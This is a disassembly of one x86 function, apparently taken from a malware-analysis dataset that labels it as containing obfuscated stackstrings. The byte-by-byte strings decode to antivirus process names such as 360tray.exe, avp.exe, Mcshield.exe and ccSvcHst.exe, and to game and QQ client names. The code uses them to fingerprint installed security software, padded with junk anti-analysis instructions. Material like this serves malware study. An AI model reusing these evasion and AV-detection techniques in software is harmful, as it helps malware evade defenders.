Function at 0x1000981e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe0
push ebx
xor ebx, ebx
push esi
push edi
mov byte [ebp - 0x88], 0x33
mov byte [ebp - 0x87], 0x36
mov byte [ebp - 0x86], 0x30
mov byte [ebp - 0x85], 0x74
mov byte [ebp - 0x84], 0x72
mov byte [ebp - 0x83], 0x61
mov byte [ebp - 0x82], 0x79
mov byte [ebp - 0x81], 0x2e
mov byte [ebp - 0x80], 0x65
mov byte [ebp - 0x7f], 0x78
mov byte [ebp - 0x7e], 0x65
mov byte [ebp - 0x7d], bl
mov byte [ebp - 0x30], 0x61
mov byte [ebp - 0x2f], 0x76
mov byte [ebp - 0x2e], 0x70
mov byte [ebp - 0x2d], 0x2e
mov byte [ebp - 0x2c], 0x65
mov byte [ebp - 0x2b], 0x78
mov byte [ebp - 0x2a], 0x65
mov byte [ebp - 0x29], bl
mov byte [ebp - 0xa0], 0x4b
mov byte [ebp - 0x9f], 0x76
mov byte [ebp - 0x9e], 0x4d
mov byte [ebp - 0x9d], 0x6f
mov byte [ebp - 0x9c], 0x6e
mov byte [ebp - 0x9b], 0x58
mov byte [ebp - 0x9a], 0x50
mov byte [ebp - 0x99], 0x2e
mov byte [ebp - 0x98], 0x65
mov byte [ebp - 0x97], 0x78
mov byte [ebp - 0x96], 0x65
mov byte [ebp - 0x95], bl
mov byte [ebp - 0x94], 0x52
mov byte [ebp - 0x93], 0x61
mov byte [ebp - 0x92], 0x76
mov byte [ebp - 0x91], 0x4d
mov byte [ebp - 0x90], 0x6f
mov byte [ebp - 0x8f], 0x6e
mov byte [ebp - 0x8e], 0x44
mov byte [ebp - 0x8d], 0x2e
mov byte [ebp - 0x8c], 0x65
mov byte [ebp - 0x8b], 0x78
mov byte [ebp - 0x8a], 0x65
mov byte [ebp - 0x89], bl
mov byte [ebp - 0x58], 0x33
mov byte [ebp - 0x57], 0x36
mov byte [ebp - 0x56], 0x30
mov byte [ebp - 0x55], 0x73
mov byte [ebp - 0x54], 0x64
mov byte [ebp - 0x53], 0x2e
mov byte [ebp - 0x52], 0x65
mov byte [ebp - 0x51], 0x78
mov byte [ebp - 0x50], 0x65
mov byte [ebp - 0x4f], bl
mov byte [ebp - 0xb0], 0x4d
mov byte [ebp - 0xaf], 0x63
mov byte [ebp - 0xae], 0x73
mov byte [ebp - 0xad], 0x68
mov byte [ebp - 0xac], 0x69
mov byte [ebp - 0xab], 0x65
mov byte [ebp - 0xaa], 0x6c
mov byte [ebp - 0xa9], 0x64
mov byte [ebp - 0xa8], 0x2e
mov byte [ebp - 0xa7], 0x65
mov byte [ebp - 0xa6], 0x78
mov byte [ebp - 0xa5], 0x65
mov byte [ebp - 0xa4], bl
mov byte [ebp - 0x4c], 0x65
mov byte [ebp - 0x4b], 0x67
mov byte [ebp - 0x4a], 0x75
mov byte [ebp - 0x49], 0x69
mov byte [ebp - 0x48], 0x2e
mov byte [ebp - 0x47], 0x65
mov byte [ebp - 0x46], 0x78
mov byte [ebp - 0x45], 0x65
mov byte [ebp - 0x44], bl
mov byte [ebp - 0x70], 0x6b
lea eax, [ebp - 0x88]
mov byte [ebp - 0x6f], 0x78
push eax
mov byte [ebp - 0x6e], 0x65
mov byte [ebp - 0x6d], 0x74
mov byte [ebp - 0x6c], 0x72
mov byte [ebp - 0x6b], 0x61
mov byte [ebp - 0x6a], 0x79
mov byte [ebp - 0x69], 0x2e
mov byte [ebp - 0x68], 0x65
mov byte [ebp - 0x67], 0x78
mov byte [ebp - 0x66], 0x65
mov byte [ebp - 0x65], bl
mov byte [ebp - 0xd0], 0x6b
mov byte [ebp - 0xcf], 0x6e
mov byte [ebp - 0xce], 0x73
mov byte [ebp - 0xcd], 0x64
mov byte [ebp - 0xcc], 0x74
mov byte [ebp - 0xcb], 0x72
mov byte [ebp - 0xca], 0x61
mov byte [ebp - 0xc9], 0x79
mov byte [ebp - 0xc8], 0x2e
mov byte [ebp - 0xc7], 0x65
mov byte [ebp - 0xc6], 0x78
mov byte [ebp - 0xc5], 0x65
mov byte [ebp - 0xc4], bl
mov byte [ebp - 0x7c], 0x54
mov byte [ebp - 0x7b], 0x4d
mov byte [ebp - 0x7a], 0x42
mov byte [ebp - 0x79], 0x4d
mov byte [ebp - 0x78], 0x53
mov byte [ebp - 0x77], 0x52
mov byte [ebp - 0x76], 0x56
mov byte [ebp - 0x75], 0x2e
mov byte [ebp - 0x74], 0x65
mov byte [ebp - 0x73], 0x78
mov byte [ebp - 0x72], 0x65
mov byte [ebp - 0x71], bl
mov byte [ebp - 0xc0], 0x61
mov byte [ebp - 0xbf], 0x76
mov byte [ebp - 0xbe], 0x63
mov byte [ebp - 0xbd], 0x65
mov byte [ebp - 0xbc], 0x6e
mov byte [ebp - 0xbb], 0x74
mov byte [ebp - 0xba], 0x65
mov byte [ebp - 0xb9], 0x72
mov byte [ebp - 0xb8], 0x2e
mov byte [ebp - 0xb7], 0x65
mov byte [ebp - 0xb6], 0x78
mov byte [ebp - 0xb5], 0x65
mov byte [ebp - 0xb4], bl
call fcn.1000b321
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
pop ecx
test eax, eax
mov esi, 0x10018ee4
je 0x10009b59
push ebp
pop ebp
nop
nop
inc ecx
dec ecx
nop
nop
nop
nop
inc ecx
dec ecx
nop
inc ecx
dec ecx
push str.OutputDebugStringA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10017584
call eax
push 4
lea eax, [ebp - 0x88]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10017578
push esi
call edi
push 0x10016a60
push esi
call edi
lea eax, [ebp - 0x30]
push eax
call fcn.1000b321
test eax, eax
pop ecx
je 0x10009b86
push 4
lea eax, [ebp - 0x30]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10017570
push esi
call edi
push 0x10016a60
push esi
call edi
lea eax, [ebp - 0xa0]
push eax
call fcn.1000b321
test eax, eax
pop ecx
je 0x10009bb9
push 4
lea eax, [ebp - 0xa0]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10017568
push esi
call edi
push 0x10016a60
push esi
call edi
lea eax, [ebp - 0x94]
push eax
call fcn.1000b321
test eax, eax
pop ecx
je 0x10009bec
push 4
lea eax, [ebp - 0x94]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10017560
push esi
call edi
push 0x10016a60
push esi
call edi
lea eax, [ebp - 0x58]
push eax
call fcn.1000b321
test eax, eax
pop ecx
je 0x10009c19
push 4
lea eax, [ebp - 0x58]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.360
push esi
call edi
push 0x10016a60
push esi
call edi
lea eax, [ebp - 0xb0]
push eax
call fcn.1000b321
test eax, eax
pop ecx
je 0x10009c4c
push 4
lea eax, [ebp - 0xb0]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10017550
push esi
call edi
push 0x10016a60
push esi
call edi
lea eax, [ebp - 0x4c]
push eax
call fcn.1000b321
test eax, eax
pop ecx
je 0x10009c79
push 4
lea eax, [ebp - 0x4c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.NOD32
push esi
call edi
push 0x10016a60
push esi
call edi
lea eax, [ebp - 0x70]
push eax
call fcn.1000b321
test eax, eax
pop ecx
je 0x10009ca6
push 4
lea eax, [ebp - 0x70]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10017540
push esi
call edi
push 0x10016a60
push esi
call edi
lea eax, [ebp - 0xd0]
push eax
call fcn.1000b321
test eax, eax
pop ecx
je 0x10009cd9
push 4
lea eax, [ebp - 0xd0]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10017538
push esi
call edi
push 0x10016a60
push esi
call edi
lea eax, [ebp - 0x7c]
push eax
call fcn.1000b321
test eax, eax
pop ecx
je 0x10009d06
push 4
lea eax, [ebp - 0x7c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10017530
push esi
call edi
push 0x10016a60
push esi
call edi
lea eax, [ebp - 0xc0]
push eax
call fcn.1000b321
test eax, eax
pop ecx
je 0x10009d39
push 4
lea eax, [ebp - 0xc0]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.avira
push esi
call edi
push 0x10016a60
push esi
call edi
push str.avastUI.exe
call fcn.1000b321
test eax, eax
pop ecx
je 0x10009d68
push 4
push ebx
push str.avastUI.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.avast
push esi
call edi
push 0x10016a60
push esi
call edi
push str.ccSvcHst.exe
call fcn.1000b321
test eax, eax
pop ecx
je 0x10009d97
push 4
push ebx
push str.ccSvcHst.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100174fc
push esi
call edi
push 0x10016a60
push esi
call edi
lea eax, [ebp - 8]
mov byte [ebp - 8], 0x6d
push eax
mov byte [ebp - 7], 0x79
mov byte [ebp - 6], 0x2e
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0x78
mov byte [ebp - 3], 0x65
mov byte [ebp - 2], bl
mov byte [ebp - 0x10], 0x64
mov byte [ebp - 0xf], 0x70
mov byte [ebp - 0xe], 0x2e
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x78
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], bl
mov byte [ebp - 0x64], 0x6d
mov byte [ebp - 0x63], 0x64
mov byte [ebp - 0x62], 0x6d
mov byte [ebp - 0x61], 0x33
mov byte [ebp - 0x60], 0x36
mov byte [ebp - 0x5f], 0x35
mov byte [ebp - 0x5e], 0x2e
mov byte [ebp - 0x5d], 0x65
mov byte [ebp - 0x5c], 0x78
mov byte [ebp - 0x5b], 0x65
mov byte [ebp - 0x5a], bl
mov byte [ebp - 0x40], 0x64
mov byte [ebp - 0x3f], 0x6e
mov byte [ebp - 0x3e], 0x66
mov byte [ebp - 0x3d], 0x2e
mov byte [ebp - 0x3c], 0x65
mov byte [ebp - 0x3b], 0x78
mov byte [ebp - 0x3a], 0x65
mov byte [ebp - 0x39], bl
mov byte [ebp - 0x18], 0x78
mov byte [ebp - 0x17], 0x79
mov byte [ebp - 0x16], 0x32
mov byte [ebp - 0x15], 0x2e
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x78
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], bl
mov byte [ebp - 0x20], 0x78
mov byte [ebp - 0x1f], 0x79
mov byte [ebp - 0x1e], 0x33
mov byte [ebp - 0x1d], 0x2e
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], 0x78
mov byte [ebp - 0x1a], 0x65
mov byte [ebp - 0x19], bl
mov byte [ebp - 0xe0], 0x51
mov byte [ebp - 0xdf], 0x51
mov byte [ebp - 0xde], 0x68
mov byte [ebp - 0xdd], 0x78
mov byte [ebp - 0xdc], 0x67
mov byte [ebp - 0xdb], 0x61
mov byte [ebp - 0xda], 0x6d
mov byte [ebp - 0xd9], 0x65
mov byte [ebp - 0xd8], 0x2e
mov byte [ebp - 0xd7], 0x65
mov byte [ebp - 0xd6], 0x78
mov byte [ebp - 0xd5], 0x65
mov byte [ebp - 0xd4], bl
mov byte [ebp - 0x28], 0x77
mov byte [ebp - 0x27], 0x6f
mov byte [ebp - 0x26], 0x77
mov byte [ebp - 0x25], 0x2e
mov byte [ebp - 0x24], 0x65
mov byte [ebp - 0x23], 0x78
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], bl
mov byte [ebp - 0x38], 0x74
mov byte [ebp - 0x37], 0x77
mov byte [ebp - 0x36], 0x32
mov byte [ebp - 0x35], 0x2e
mov byte [ebp - 0x34], 0x65
mov byte [ebp - 0x33], 0x78
mov byte [ebp - 0x32], 0x65
mov byte [ebp - 0x31], bl
call fcn.1000b321
test eax, eax
pop ecx
je 0x10009f1a
push 4
lea eax, [ebp - 8]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100174f0
push esi
call edi
push 0x10016a60
push esi
call edi
lea eax, [ebp - 0x10]
push eax
call fcn.1000b321
test eax, eax
pop ecx
je 0x10009f47
push 4
lea eax, [ebp - 0x10]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100174e4
push esi
call edi
push 0x10016a60
push esi
call edi
lea eax, [ebp - 0x64]
push eax
call fcn.1000b321
test eax, eax
pop ecx
je 0x10009f74
push 4
lea eax, [ebp - 0x64]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100174d8
push esi
call edi
push 0x10016a60
push esi
call edi
lea eax, [ebp - 0x40]
push eax
call fcn.1000b321
test eax, eax
pop ecx
je 0x10009fa1
push 4
lea eax, [ebp - 0x40]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100174c8
push esi
call edi
push 0x10016a60
push esi
call edi
lea eax, [ebp - 0x18]
push eax
call fcn.1000b321
test eax, eax
pop ecx
je 0x10009fce
push 4
lea eax, [ebp - 0x18]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100174bc
push esi
call edi
push 0x10016a60
push esi
call edi
lea eax, [ebp - 0x20]
push eax
call fcn.1000b321
test eax, eax
pop ecx
je 0x10009ffb
push 4
lea eax, [ebp - 0x20]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100174b0
push esi
call edi
push 0x10016a60
push esi
call edi
lea eax, [ebp - 0xe0]
push eax
call fcn.1000b321
test eax, eax
pop ecx
je 0x1000a02e
push 4
lea eax, [ebp - 0xe0]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100174a8
push esi
call edi
push 0x10016a60
push esi
call edi
lea eax, [ebp - 0x28]
push eax
call fcn.1000b321
test eax, eax
pop ecx
je 0x1000a05b
push 4
lea eax, [ebp - 0x28]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x1001749c
push esi
call edi
push 0x10016a60
push esi
call edi
lea eax, [ebp - 0x38]
push eax
call fcn.1000b321
test eax, eax
pop ecx
je 0x1000a088
push 4
lea eax, [ebp - 0x38]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10017494
push esi
call edi
push 0x10016a60
push esi
call edi
push str.QQ.exe
call fcn.1000b321
test eax, eax
pop ecx
je 0x1000a0b7
push 4
push ebx
push str.QQ.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10017484
push esi
call edi
push 0x10016a60
push esi
call edi
push 0x10016a60
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
jne 0x1000a0d1
push 0x1001747c
push esi
call edi
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret